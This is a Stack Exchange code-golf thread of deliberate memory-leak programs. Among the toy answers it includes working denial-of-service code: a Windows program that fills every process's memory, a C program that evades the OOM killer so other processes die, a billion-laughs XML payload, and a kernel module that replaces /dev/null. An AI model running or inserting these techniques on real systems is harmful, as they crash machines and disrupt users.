54
votes
\$\begingroup\$

Your task is to create a memory leak. This is a program that uses loads of memory, until the computer runs out and has to do some swapping to save itself from running out. The only way that the memory can be released is by killing the program in the task manager or using a command line kill such as taskkill /im yourprogram /f (in Windows) or even restarting the computer. Merely closing the app should not prevent it from continuing to hog memory.

Rules:

  1. Fork bombs of any sort are banned. That means that infamous Bash line :(){ :|:&};: is banned!

  2. The application must be single-threaded only. This implies the fork bomb rule.

  3. The program must not run other programs. This means that you can't just do something like run(memoryfiller.exe). The only exception to this is programs that are bundled with your OS or language, that are not primarily designed to consume memory (i.e. they have another purpose). This means that things like cat and ln -s are permitted.

  4. You can take up as much memory as you like. The more the better.

  5. Code must be explained fully.

Good luck. This is a popularity contest so the code with the most votes after 10 days from the asking date wins!

\$\endgroup\$
18
  • 8
    \$\begingroup\$ "Closing it should still make it hog memory" - if a program is a shell executable (like most of windows versions of scripting language interpreters are), closing its window will kill the program. \$\endgroup\$
    – mniip
    Mar 18, 2014 at 22:25
  • 54
    \$\begingroup\$ Isn't this just while(1)malloc(999);? \$\endgroup\$
    – Doorknob
    Mar 18, 2014 at 22:32
  • 10
    \$\begingroup\$ I'm not sure if "Closing it should still make it hog memory" is compatible with "The application must be single threaded only." If no thread has a chunk of memory, the OS can take it back, right? \$\endgroup\$
    – aebabis
    Mar 18, 2014 at 22:34
  • 51
    \$\begingroup\$ Just run firefox 26 with a few tabs open running flash for a half hour. It'll bring your computer to its knees. \$\endgroup\$ Mar 19, 2014 at 4:01
  • 1
    \$\begingroup\$ @mniip. That's the whole point of the challenge. To make a difficult challenge. And doorknob. I wanted something different! ;) \$\endgroup\$
    – George
    Mar 19, 2014 at 8:15

31 Answers 31

77
votes
\$\begingroup\$

Windows

The Win32 API allows you to allocate memory in other processes, and then to read/write that memory remotely. This program has only one thread, which it uses to enumerate each running process on the system, and then repeatedly allocate 1MB buffers in each process until the allocation fails. When it finishes with one process, it moves on to the next. The allocations are not released when the calling program finishes - only when/if each target process finishes. This hangs a 2GB Windows 7 VM in about 10 seconds. It does require running as admin.

To compile: cl /MD leak.cpp /link psapi.lib

#include <windows.h>
#include <psapi.h>

typedef void (*ProcFunc)(DWORD pid);
#define ALLOC_SIZE 0x100000
LPVOID buf;

void ForEachProcess(ProcFunc f)
{
    DWORD aProcesses[1024], cbNeeded;

    if (!EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded))
        return;

    for (unsigned int i = 0; i < cbNeeded / sizeof(DWORD); i++)
        if (aProcesses[i] != 0)
            f(aProcesses[i]);
}

void RemoteLeak(DWORD pid)
{
    HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pid );
    if (hProcess == NULL)
        return;

    for (;;)
    {
        LPVOID ptr = VirtualAllocEx(hProcess, NULL, ALLOC_SIZE, 
                                    MEM_COMMIT, PAGE_READWRITE);
        if (ptr == NULL)
            return;

        WriteProcessMemory(hProcess, ptr, buf, ALLOC_SIZE, NULL);
    }
}

int main(void)
{
    buf = malloc(ALLOC_SIZE);
    if (buf == NULL)
        return 0;

    memset(buf, 0xFF, ALLOC_SIZE);

    ForEachProcess(RemoteLeak);

    return 0;
}
\$\endgroup\$
12
  • 9
    \$\begingroup\$ Windows is evil. \$\endgroup\$
    – tomsmeding
    Mar 19, 2014 at 16:49
  • 4
    \$\begingroup\$ I need to shut down tonight. Ill give this a go ;) \$\endgroup\$
    – George
    Mar 19, 2014 at 23:10
  • 1
    \$\begingroup\$ " (running as a normal user, not using admin privileges" - not sure about this, you need SeDebugPrivilege which by default is not present in regular user's token \$\endgroup\$
    – rkosegi
    Mar 21, 2014 at 7:55
  • \$\begingroup\$ @rkosegi Thanks, fixed. \$\endgroup\$
    – nobody
    Mar 21, 2014 at 15:06
  • 14
    \$\begingroup\$ +1 This deserves many upvotes as it so far is the only answer that meets the original Closing it should still make it hog memory requirement. Very creative solution :-) \$\endgroup\$
    – Daniel
    Mar 21, 2014 at 17:16
72
votes
\$\begingroup\$

Java

import java.util.concurrent.atomic.AtomicInteger;

public class Hydra {
  // Not actually necessary for the leak - keeps track of how many Hydras there are, so we know when they're all gone
  public static AtomicInteger count = new AtomicInteger(0);
  public Hydra() {
    count.incrementAndGet();
  }
  protected void finalize() {
    new Hydra();
    new Hydra();
    count.decrementAndGet();
  }

  public static void main(String[] args) throws InterruptedException {
    new Hydra();
    while (Hydra.count.get() > 0) {
      // Prevent leaks ;-)
      System.gc();
      System.runFinalization();
    } 
  }
}

Explanation

You might assume that since there are no references in the code (other than count, which you can safely ignore), it can't leak. However, the finalizer creates two new Hydras, and whilst it doesn't hold references for these either, they'll hang around until finalized. This means that the program only leaks memory during garbage collection - hence the calls to System.gc() and System.runFinalization().

\$\endgroup\$
12
  • 7
    \$\begingroup\$ @TimS. where's your god now?!? \$\endgroup\$
    – Cruncher
    Mar 19, 2014 at 15:20
  • \$\begingroup\$ Are System.gc() and System.runFinalization() necessary? That is will the gc randomly run sometimes, or do you have to either fill some memory, or call gc? \$\endgroup\$
    – Cruncher
    Mar 19, 2014 at 15:22
  • 4
    \$\begingroup\$ In a typical program, System.gc() and System.runFinalization() wouldn't be necessary. Garbage collection would happen naturally due to memory pressure. However in this application there's no memory pressure until garbage collection starts running. I thought about artificially introducing some (for example, by moving new Hydra() inside the loop), but figured this was more evil. \$\endgroup\$
    – James_pic
    Mar 19, 2014 at 15:27
  • 1
    \$\begingroup\$ Yeah, I didn't pay much attention to "Closing it should still make it hog memory" caveat, as it didn't seem meaningful (apart from neat OS hacks like @german_guy's). Java always spins up a finalization thread, so perhaps there's no way for a Java application to obey rule #2. \$\endgroup\$
    – James_pic
    Mar 20, 2014 at 13:58
  • 1
    \$\begingroup\$ On Unix systems, you cannot block SIGKILL (signal 9), so you cannot make your program unstoppable (well, except if you manage to get it into a state of uninterruptible wait ... so maybe remote-killing an NFS server whose files you access might work ;-)) \$\endgroup\$
    – celtschk
    Mar 22, 2014 at 23:46
37
votes
\$\begingroup\$

C

Using the C programming language and tested with Linux kernel 2.6.32-49-generic and libc-2.11.1.so.

The only way that the memory can be released is by killing the program in task manager or using taskkill /im yourprogram /f or even restarting the PC.

This is achieved by blocking any signals except for SIGKILL and SIGSTOP.

Closing it should still make it hog memory.

This actually confused me... Killing or closing it both results in termination of the process, allowing the operating system to claim back any memory that was allocated by the process. But then i got to think that by closing it you might mean to close the terminal or any other parent process that executes the memory leaking process. If i got that right, then i solved this problem by blocking any signals, which turns the process into a daemon when the parent process is terminated. That way you can close the terminal the process is running in and it will continue running and proceed to leak memory.

Fork bombs of any sort are banned. That means that infamous bash :(){ :|:&};: is banned!

The process does not fork.

The application must be single threaded only. This implies the fork bomb rule

No new threads are spawned.

The program must not run other program. This means that you cant just do something like run(memoryfiller.exe)

No new processes are spawned.

You can take up as much memory as you like. The more the better.

As much as the operating system can provide.

Code must be explained fully.

Added comments to the source.

And finally here's the code:

#define _GNU_SOURCE

#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>
#include <unistd.h>
#include <stdlib.h>


int main(int argc, char* argv[]) {

    /*
    set the real, effective and set user id to root,
    so that the process can adjust possible limits.
    if the process doesn't have the CAP_SETUID capability, terminate the process.
    */
    if (setresuid(0, 0, 0) == -1) {
        printf("Are you root?!\n");
        return 1;
    }

    /*
    block all signals except for kill and stop.
    this allows to terminate the parent process (most likely a terminal)
    that this process is running in and turn it into a daemon.
    additionally this makes it impossible to terminate the process
    in a normal way and therefore satisfies the requirement that closing
    it should still make it hog memory.
    */
    sigset_t mask;
    sigfillset(&mask);
    sigprocmask(SIG_SETMASK, &mask, NULL);

    /*
    allow the process to acquire a virtually unlimited amount of memory
    and queue a virtually unlimited amount of signals.
    this is to prevent an out of memory error due to a virtual limit for the root user,
    which would prevent the process from leaking any more memory
    and to prevent the process from getting killed due to too many queued
    signals that the process is blocking.
    */
    struct rlimit memory = { RLIM_INFINITY, RLIM_INFINITY },
                  signal = { RLIM_INFINITY, RLIM_INFINITY};
    setrlimit(RLIMIT_AS, &memory);
    setrlimit(RLIMIT_SIGPENDING, &signal);

    /*
    allocate a buffer big enough to store a file name into it
    that is generated from the process' pid.
    if the file can be opened (which should always be the case unless /proc is not mounted)
    the file will be opened and the string -17 followed by a new line written to it.
    this will cause the oom killer to ignore our process and only kill other,
    innocent processes when running out of memory.
    */
    char file_name[20];
    sprintf(file_name, "/proc/%u/oom_adj", getpid());

    FILE* oom_killer_file = fopen(file_name, "w");
    if (oom_killer_file) {
        fprintf(oom_killer_file, "-17\n");
        fclose(oom_killer_file);
    }

    /*
    get the size of virtual memory pages in bytes,
    so the process knows the size of chunks that have to be
    made dirty to force the kernel to map the virtual memory page into RAM.
    */
    long page_size = sysconf(_SC_PAGESIZE);

    // allocate a virtually infinite amount of memory by chunks of a page size.
    while(1) {
        // will overwrite any previous stored address in tmp, leaking that memory.
        char* tmp = (char*) malloc(page_size);
        if (tmp)
            // make the memory page dirty to force the kernel to map it into RAM.
            tmp[0] = 0;
    }

    return 0;
}

For anyone who's interested in what happens if you keep this program running: On my test system with 2GB RAM and 4GB swap space it took about 10 minutes to fill up the RAM and swap. The OOM killer started its work and three minutes later kind of all processes have been killed. Even mouse, keyboard and display have been dropped by the system. /var/log/kern.log shows no useful information, except for the processes that have been killed.

\$\endgroup\$
7
  • \$\begingroup\$ I edited the source to make the oom killer ignore the process and kill innocent processes to free memory instead. \$\endgroup\$
    – foobar
    Mar 19, 2014 at 21:58
  • 5
    \$\begingroup\$ For anyone who's interested in what happens if you keep this program running: On my test system with 2GB RAM and 4GB swap space it took about 10 minutes to fill up the RAM and swap. The OOM killer started its work and three minutes later kind of all processes have been killed. Even mouse, keyboard and display have been dropped by the system. /var/log/kern.log shows no useful information, except for the processes that have been killed. \$\endgroup\$
    – foobar
    Mar 19, 2014 at 23:23
  • \$\begingroup\$ Haha, that's wonderful! You should edit that description into your answer. +1 \$\endgroup\$
    – Doorknob
    Mar 20, 2014 at 22:07
  • 1
    \$\begingroup\$ I didn't downvote, but it would be nice if the code could be formatted so no horizontal scrolling is necessary to read the comments. \$\endgroup\$ Mar 24, 2014 at 14:44
  • 2
    \$\begingroup\$ +1 for 1) causing processes handing input/output devices to be killed and 2) creating a program that's hard to track from the logs. This is mustache-curling levels of evil. \$\endgroup\$
    – Kevin
    Mar 25, 2014 at 1:10
27
votes
\$\begingroup\$

Pure Bash

Not a fork-bomb, I promise:

:(){ : $@$@;};: :

It looks a lot like a fork bomb, and uses a similar recursive technique, but no forks. Of course this will run your shell right out of memory, so you are advised to start a new shell before pasting this command.

  • Define a function called :
  • The function simply recursively calls itself with $@ (arg list) doubled
  • After the function definition, the : function is called with an initial arg :

Output:

$ bash
$ :(){ : $1$1;};: :
bash: xmalloc: ../bash/stringlib.c:135: cannot allocate 536870913 bytes (5368795136 bytes allocated)
$

In a previous edit of this answer I did a=$(yes), but I noticed the rule "The program must not run other program", so I need to use pure bash instead without calling any coreutils or anything else.


Here's another one:

PLEASE DON'T RUN THIS ON A PRODUCTION MACHINE

:(){ : <(:);};:

Again, this is not a fork bomb - everything is run from within one thread. This one seems to quite handily bring my Ubuntu VM to its knees, with little room for recovery, other than reboot.

As in the classic fork bomb, a recursive function :() is defined. However it does not fork out calls to itself. Instead it calls itself with one argument, which is itself called in a process substitution. Because process substitution works by opening an file descriptor /dev/fd/n, this not only eats up process (bash) memory, it will also eat up some kernel memory too. On my Ubuntu machine this has the effect of making the window manager inoperable after a few seconds, then shortly after ending up with this screen:

enter image description here

Clicking OK then gives this screen:

enter image description here

None of these options seem to be much help - at this point restarting seems to be the only good option.

\$\endgroup\$
5
  • 3
    \$\begingroup\$ $ which yes -> /usr/bin/yes \$\endgroup\$
    – Izkata
    Mar 19, 2014 at 1:44
  • 2
    \$\begingroup\$ "The only way that the memory can be released is by killing the program in task manager or using taskkill /im yourprogram /f or even restarting the PC. Closing it should still make it hog memory." >> The bash can be terminated using a SIGTERM, so killing it is not required to make it stop running. Also it stops running when the system runs out of memory. Once the bash terminated, either by SIGTERM or by running out of memory, the memory is given back to the operating system. \$\endgroup\$
    – foobar
    Mar 20, 2014 at 12:47
  • \$\begingroup\$ This doesn't work for me... sort of... I can see the memory gradually going away, but this happens very slowly, and it also can be killed by just pressing ctrl+c. It's running now for 1 minute and it's occupied about 1GB. I have a VERY fast machine... but that shouldn't matter, right? \$\endgroup\$ Dec 5, 2015 at 0:41
  • \$\begingroup\$ Replying to my own comment: The command actually killed the bash after about 2mins 49sec. I originally assumed it's going to instant based on this answer. \$\endgroup\$ Dec 5, 2015 at 0:49
  • \$\begingroup\$ @StefanosKalantzis Thanks for your comments. It made me think a bit more and I just found an even more evil shell snippet - see edit. \$\endgroup\$ Dec 5, 2015 at 5:59
24
votes
\$\begingroup\$

XML

<!DOCTYPE boom [
<!ENTITY Z 'ka-boom!'><!ENTITY Y '&Z;&Z;'><!ENTITY X '&Y;&Y;'><!ENTITY W '&X;&X;'>
<!ENTITY V '&W;&W;'><!ENTITY U '&V;&V;'><!ENTITY T '&U;&U;'><!ENTITY S '&T;&T;'>
<!ENTITY R '&S;&S;'><!ENTITY Q '&R;&R;'><!ENTITY P '&Q;&Q;'><!ENTITY O '&P;&P;'>
<!ENTITY N '&O;&O;'><!ENTITY M '&N;&N;'><!ENTITY L '&M;&M;'><!ENTITY K '&L;&L;'>
<!ENTITY J '&K;&K;'><!ENTITY I '&J;&J;'><!ENTITY H '&I;&I;'><!ENTITY G '&H;&H;'>
<!ENTITY F '&G;&G;'><!ENTITY E '&F;&F;'><!ENTITY D '&E;&E;'><!ENTITY C '&D;&D;'>
<!ENTITY B '&C;&C;'><!ENTITY A '&B;&B;'><!ENTITY z '&A;&A;'><!ENTITY y '&z;&z;'>
<!ENTITY x '&y;&y;'><!ENTITY w '&x;&x;'><!ENTITY v '&w;&w;'><!ENTITY u '&v;&v;'>
<!ENTITY t '&u;&u;'><!ENTITY s '&t;&t;'><!ENTITY r '&s;&s;'><!ENTITY q '&r;&r;'>
<!ENTITY p '&q;&q;'><!ENTITY o '&p;&p;'><!ENTITY n '&o;&o;'><!ENTITY m '&n;&n;'>
<!ENTITY l '&m;&m;'><!ENTITY k '&l;&l;'><!ENTITY j '&k;&k;'><!ENTITY i '&j;&j;'>
<!ENTITY h '&i;&i;'><!ENTITY g '&h;&h;'><!ENTITY f '&g;&g;'><!ENTITY e '&f;&f;'>
<!ENTITY d '&e;&e;'><!ENTITY c '&d;&d;'><!ENTITY b '&c;&c;'><!ENTITY a '&b;&b;'>
]>
<boom a="&a;"/>

Then pass the document to an XML parser that doesn't do entity reference loop/recursion detection. For example, xpath included with perl:

xpath boom.xml /

How it works:

  1. The parser encounters <boom a="&a;">
  2. The parser expands "&a;" into "&b;&b;"
  3. The parser expands one of the "&b;" into "&c;&c;" (on return, it will expand the other "&b;")
  4. The parser expands one of the "&c;" etc...

If full expansion could occur, there would be 2^52 expansion of "ka-boom!". Assuming 2-bytes per character, it will try to use 64 PiB. The expansion goes "ka-boom!" at a time, so you can usually watch it use up all memory in top.

This goes by various names, good overview here: http://projects.webappsec.org/w/page/13247002/XML%20Entity%20Expansion

\$\endgroup\$
2
  • 3
    \$\begingroup\$ Essentially a copy of Billion laughs \$\endgroup\$
    – Cole Tobin
    Mar 21, 2014 at 3:46
  • \$\begingroup\$ @ColeJohnson Yup that's it! I contributed to the WASC Threat Classification project, so I felt obligated to point to WASC rather than Wikipedia. :) \$\endgroup\$ Mar 21, 2014 at 22:28
22
votes
\$\begingroup\$

C++

int main()
{
    for(;;)int *a=new int;
}

This code was unexpected! It hung my computer while the task manager was open and showed that it took 890 Mb of memory in 1 second then it also hung. I don't know how this works, maybe it keeps on giving memory to a variable.To explore more of this code I added a statement delete a; and every thing was fine while testing (no hanging) So, I think that the chunk of memory is given (due to new int) and then taken back (due to delete a) to the free space in the new code below.

int main()
{
    for(;;)
    {
         int *a=new int;
         delete a;
    }
}  

So, I conclude that NO RAM IN THIS WORLD CAN HANDLE THIS CODE!!!

EDIT : But many processors can for e.g. intel core 2 duo can't handle this code but
intel core i-series can (worked for me...)

Remember the answer to the question is the 1st code , second one is for explanation.

\$\endgroup\$
11
  • 9
    \$\begingroup\$ Nice, the compiler thinks you are still going to use the new int even though you overwrote the pointer, so you can never access it again...So no garbage collection is called and you fill up memory faster than a fat kid eats skittles \$\endgroup\$ Mar 19, 2014 at 16:14
  • 37
    \$\begingroup\$ @DavidWilkins: ...this is C++, C++ has no garbage collector. \$\endgroup\$
    – Phoshi
    Mar 19, 2014 at 16:22
  • 32
    \$\begingroup\$ If it's unexpected to you that this code leaks, then I think you shouldn't use C++ until you learn it better. \$\endgroup\$
    – svick
    Mar 20, 2014 at 13:00
  • 1
    \$\begingroup\$ @svick But its not also like hitting dart-board in dark! I had some Idea that this will do the job question wants. \$\endgroup\$ Mar 20, 2014 at 13:11
  • 15
    \$\begingroup\$ @svick How the hell is he supposed to 'learn it better' if he 'shouldn't use C++'? \$\endgroup\$
    – Kevin
    Mar 20, 2014 at 22:04
16
votes
\$\begingroup\$

BrainFuck

+[>+]

Explanation:

To enter the loop it increases the cell to 1. It moves to the next cell increasing that to 1 as long as the last cell was positive.

Usually A BrainFuck interpreter is flawed with having a hard limit to the number of cells on the tape, but some interpreters adds cells dynamically. These will continue to consume memory until it's no more to consume.

beef is one such interpreter and it's available in the Ubuntu Software Center and my current run on an unused machine started 29 hours ago and has consumed 1GB of RAM in that time. Here's the the output of top

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1030m 984m 2536 R 100,1 12,4   1750:52 beef

It has 4GB of cache and 6GB of swap so I guess I'll update this answer with how it went in about 12 days.

UPDATE 03.24 17:11

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 1868m 1,8g 2456 R  99,9 22,9   6008:18 beef    

UPDATE 03.31 00:20

PID  USER        PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND  
2978 sylwester   20   0 2924m 2,8g 2052 R 100,0 36,1  15019:46 beef   

So it's been running for 10 days. Seems like it will be running for at least 10 more before something interesting happens.

\$\endgroup\$
1
  • \$\begingroup\$ Nice and short. \$\endgroup\$
    – nrubin29
    Mar 21, 2014 at 16:18
15
votes
\$\begingroup\$

C and POSIX

Here I am aiming for a highly portable solution. The problem is that pure C doesn't seem to have a way of telling the Operating System that the memory should remain allocated after the program closes. So I allow myself to use POSIX; most OS's have some claim to POSIX compatibility including Windows, Linux and MacOS X. However, I have only tested it on Ubuntu 12.04 32bit. It does not require superuser permissions.

This solution is essentially the traditional while(1){malloc(1);} solution. However instead of malloc, it uses the POSIX shared memory functions. Since it assigns a shared memory identifier to each allocation, it is still possible to access the memory once the process terminates. Thus the kernel cannot free the memory.

#include <sys/types.h>
#include <sys/shm.h>
#include <string.h>

#define SHMSZ (2*1024*1024) /*Ubuntu rejects shared allocations larger than about 2MiB*/

main() {
  int shmid;
  key_t key = 0xF111; /* Lets use `Fill' as our first ID.*/
  char *shm;

  while(1) { /* Like malloc, but using shared memory */
    if ((shmid = shmget(key, SHMSZ, IPC_CREAT|0666)) < 0){return 1;}/*Get shared memory*/
    if ((shm = shmat(shmid, NULL, 0)) == (void *) -1) { return 1; } /*Attach it        */
    memset(shm,0,SHMSZ);                                            /*Fill it up       */
    key++                                                           /*On to the next ID*/
  }
}
\$\endgroup\$
2
  • \$\begingroup\$ Best and most brilliant C answer IMO. +1 \$\endgroup\$
    – syb0rg
    Mar 23, 2014 at 17:47
  • 1
    \$\begingroup\$ Nice one. The first solution i came up with was Andrew Medico's, but as that isn't possible on Linux and as I don't like Windows programming, I wanted to leak through shared memory, but couldn't remember the POSIX function names. Thanks for remembering me of them ;) All I found was only mmap stuff that is unmapped on process termination... \$\endgroup\$
    – foobar
    Mar 24, 2014 at 14:52
13
votes
\$\begingroup\$

C#

Forgetting to unsubscribe from events before the handler goes out of scope will cause .NET to leak memory until it throws OutOfMemoryException.

using System;

class A
{
    public event Action Event;
}

class B
{
    public void Handler() { }
}

class Program
{
    static void Main()
    {
        A a = new A();

        while( true )
            a.Event += new B().Handler;
    }
}

Explanation: Inside the while loop, we construct a new object, causing the framework to allocate more memory, but we also prevent the new instance of B from being released when it goes out of scope by assigning an instance method to an event in a different class, the result being that the new instance of B becomes unreachable from our code, but a reference still exists, meaning the GC won't release it until a also goes out of scope.

Static events have the same pitfall, since they never go out of scope, they're only cleaned up when the process terminates, unless you unsubscribe from the event first. Always store your references, people!

using System;

class Program
{
    static event Action Event;

    static void Main()
    {
        while( true )
            Event += new Action( delegate{ } );
    }
}

The above works on the same idea, the handler becomes unreachable once the while loop goes out of scope, making it impossible to unsubscribe from the event, meaning the memory will sit there until the program terminates. Static events are arguably more dangerous than instance events, because you can ensure they never go out of scope.

EDIT: You can also do the same with basically any other object as well, just as long as you add a reference while at the same time ensuring there's no way to free that reference.

Here's an example that uses static objects and arrays.

using System;
using System.Collections.Generic;

static class Leak
{
    private static List<decimal[]> Junk;

    static Leak()
    {
        Junk = new List<decimal[]>();
    }

    public static void Add( uint size )
    {
        decimal[] arr = new decimal[size];
        Junk.Add( arr );
    }
}

class Program
{
    static void Main()
    {
        while( true )
            Leak.Add( 1 );
    }
}

Arrays keep being added to the list, but there's no way to clear the list without modifying the code, which would be impossible for closed-source applications. Increasing the number passed to Leak.Add will cause it to leak faster, if you set it high enough it will just result in an immediate OverflowException being thrown.

\$\endgroup\$
0
10
votes
\$\begingroup\$

bash (no external utilities)

No fork bomb here.

Warning: It might kill your shell.

Just trying to create an array of integers for reference because I keep forgetting how integers look like.

while :; do _+=( $((++__)) ); done

Results in:

xmalloc: expr.c:264: cannot allocate 88 bytes (268384240 bytes allocated)
\$\endgroup\$
1
  • 2
    \$\begingroup\$ +1 for "because I keep forgetting how integers look like" :) \$\endgroup\$ Mar 21, 2014 at 20:14
8
votes
\$\begingroup\$

J (7)

WARNING: This froze my system when I tried it (Windows 8, J 8.01, in the qt terminal).

2#^:_[_
  • 2# doubles the length of the argument by duplicating each element,
  • ^:_ finds the fixpoint of the given function (but there isn't one so it loops endlessly),
  • [_ calls it with _ as the argument.
\$\endgroup\$
8
votes
\$\begingroup\$

Haskell (Graham's number)

It's very simple: this calculates the Graham's number

Unlike other examples here, it won't run forever... it will use a lot of cpu, but theoretically it could terminate. if it weren't for the fact that to store the number...

the observable universe is far too small to contain an ordinary digital representation of Graham's number, assuming that each digit occupies one Planck volume.

(according to wikipedia)

import Data.Sequence
import Data.Foldable

(↑) a 1 b = a ^ b
(↑) a _ 0 = 1
(↑) a i b = a ↑ (i-1) $ a ↑ i $ b-1

graham = last $ toList $ iterateN 64 (\i -> 3 ↑ i $ 3) 4
main = print graham

So, the idea is that the memory will be used by a (series of increasingly) enormous Integer(s) (Haskell's Integers are of arbitrary size).

If you want to test it out, you might have to increase the stack size or load it inside ghci.

\$\endgroup\$
1
  • 2
    \$\begingroup\$ Dumb universe, not conforming to the Haskell standard for Integers. Why can't it support arbitrary size? \$\endgroup\$ Jul 8, 2014 at 2:59
6
votes
\$\begingroup\$

Inspired by @comintern.

Replacing /dev/null. Engaging sneaky mode. Requires kernel headers, superuser mode and a working compiler.

# make
# rm /dev/null
# insmod devnull.ko
# chmod go+rw /dev/null

Have fun.

Makefile:

MODULE := devnull
KVERS  ?= $(shell uname -r)
KDIR   ?= /lib/modules/$(KVERS)/build
KMAKE := make -C $(KDIR) M=$(PWD)

obj-m += $(MODULE).o

all:
    $(KMAKE) modules

install:
    $(KMAKE) modules_install

clean:
    $(KMAKE) clean

Source code:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/ioport.h>
#include <linux/device.h>
#include <linux/version.h>
#include <linux/slab.h>
#include <asm/io.h>
#include <asm/uaccess.h>

#define DEVICE_NAME "null"
#define MAJOR_NUMBER 0

MODULE_LICENSE("GPL");
MODULE_AUTHOR("nola <[email protected]>");
MODULE_DESCRIPTION("/dev/null - memory leak style");
MODULE_VERSION("0.1");
MODULE_SUPPORTED_DEVICE("null");

static struct class *class_null;
static int major = 0;

static int device_open(struct inode *, struct file *);
static int device_release(struct inode *, struct file *);
static ssize_t device_read(struct file *, char *, size_t, loff_t *);
static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
static loff_t device_llseek(struct file *, loff_t, int);

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .llseek = &device_llseek,
    .read = &device_read,
    .write = &device_write,
    .open = &device_open,
    .release = &device_release
};

static int __init mod_init(void)
{
    struct device *dev_null;

    if ((major = register_chrdev(MAJOR_NUMBER, DEVICE_NAME, &fops)) < 0) {
        return major;
    }

    /* create /dev/null
     * We use udev to make the file.
     */
    class_null = class_create(THIS_MODULE, DEVICE_NAME);
    if (IS_ERR(class_null)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 27)
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             NULL, "%s", DEVICE_NAME
        );
#else
    dev_null = device_create(class_null, NULL, MKDEV(major, 0),
                             "%s", DEVICE_NAME
        );
#endif
    if (IS_ERR(dev_null)) {
        class_destroy(class_null);
        unregister_chrdev(major, DEVICE_NAME);
        return -EIO;
    }

    return 0;
}

static void __exit mod_exit(void)
{
    device_destroy(class_null, MKDEV(major, 0));
    class_unregister(class_null);
    class_destroy(class_null);
    unregister_chrdev(major, DEVICE_NAME);
}

static int device_open(struct inode *inode, struct file *file)
{
    file->f_pos = 0x00;

    try_module_get(THIS_MODULE);
    return 0;
}

static int device_release(struct inode *inode, struct file *file)
{
    /* decrement usage count: Not. Uncomment the line for less fun. */
    /* module_put(THIS_MODULE); */
    return 0;
}

static loff_t device_llseek(struct file *filep, loff_t offs, int mode)
{
    loff_t newpos;

    switch (mode) {
    case 2:
    case 0:
        newpos = offs;
        break;

    case 1:
        newpos = filep->f_pos + offs;
        break;

    default:
        return -EINVAL;
    }

    if (newpos < 0) {
        return -EINVAL;
    }

    filep->f_pos = newpos;

    return newpos;
}

static ssize_t device_read(struct file *filep, char *dst, size_t len,
                           loff_t *off)
{
    char *buf = NULL;

    if (dst == NULL || len == 0) {
        return -EINVAL;
    }

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    /* Do how a /dev/null does.
     */
    memset(dst, 0, len);

    *off += len;
    return len;
}

static ssize_t device_write(struct file *filep, const char *src, size_t len,
                            loff_t *off)
{
    char *buf = NULL;

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    *off += len;
    return len;
}

module_init(mod_init);
module_exit(mod_exit);

Warning this may force you to reboot!

To remove it:

# rmmod -f devnull # or a reboot
# rm -rf /dev/null
# mknod /dev/null c 1 3
# chmod go+rw /dev/null
\$\endgroup\$
6
votes
\$\begingroup\$

Ruby

Everyone knows that sum(1/n^2) = pi^2/6

So I can define an approximation function:

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)

Of course the (1..infinity) will run wild.

Notice however that using lazy would make this work ;)

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).lazy.map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)
#=> 3.141583104326456
\$\endgroup\$
5
votes
\$\begingroup\$

C - 28 25 characters (full program)

Don't run that one, or your system will quickly get frozen!

main(){while(malloc(9));}

The call to malloc will reserve 9 bytes of memory and request new memory pages from the operating system regularly. The memory allocated by malloc is immediately leaked as no pointer to the returned address is stored. Once the system has run out of memory (RAM and swap space) or the memory limit for the process is reached, the program will break out of the while-loop and terminate.

\$\endgroup\$
5
  • 2
    \$\begingroup\$ Not for long - any reasonably modern system should have an OOM killer that kicks in and kills the process. At least Ubuntu 12.04 does. \$\endgroup\$ Mar 19, 2014 at 1:18
  • 1
    \$\begingroup\$ Well, I crashed my Ubuntu 13.10 while trying this code... \$\endgroup\$ Mar 19, 2014 at 6:59
  • \$\begingroup\$ @DigitalTrauma Does e.g. FreeBSD have an OOMK? \$\endgroup\$
    – Ruslan
    Mar 23, 2014 at 5:57
  • 1
    \$\begingroup\$ main(){while(malloc(9));} saves another 3 characters, and fills my memory pretty much instantaneously. \$\endgroup\$
    – gmatht
    Mar 24, 2014 at 19:04
  • \$\begingroup\$ @gmatht: thanks for the suggestion! I edited the answer... though I liked the idea of increasing the size of the block on every loop. \$\endgroup\$ Mar 24, 2014 at 20:28
4
votes
\$\begingroup\$

VBScript

do
    Set d1 = createobject("Scripting.Dictionary")
    d1.add true, d1
    Set d1 = Nothing
loop

We are creating a dicionary that point to itself. Then we think that we destroy the dictionary by setting it to Nothing. However, the dictionary still exists in memory because it has a valid (circular) reference.

The loop, but also the memory hog, causes the program to hang. After shutdown of the program, the memory is still in use. The system can only be restored by restarting it.

\$\endgroup\$
4
  • \$\begingroup\$ Uh, really? VBScript doesn't just use VB.NET under the hood? Circular references aren't normally problems for garbage collectors, except for simple reference count implementations, and termination of the program should result in releasing its entire heap, no? \$\endgroup\$ Mar 21, 2014 at 20:18
  • \$\begingroup\$ @DavidConrad You would thinks so, but I had to restart my machine every time I investigated this and run this type of scripts. \$\endgroup\$ Mar 24, 2014 at 8:02
  • 1
    \$\begingroup\$ VBScript predates VB.Net significantly - it isn't a command line version of VB.Net; it's an interpreted subset of legacy Visual Basic. \$\endgroup\$
    – Callie J
    Mar 24, 2014 at 13:07
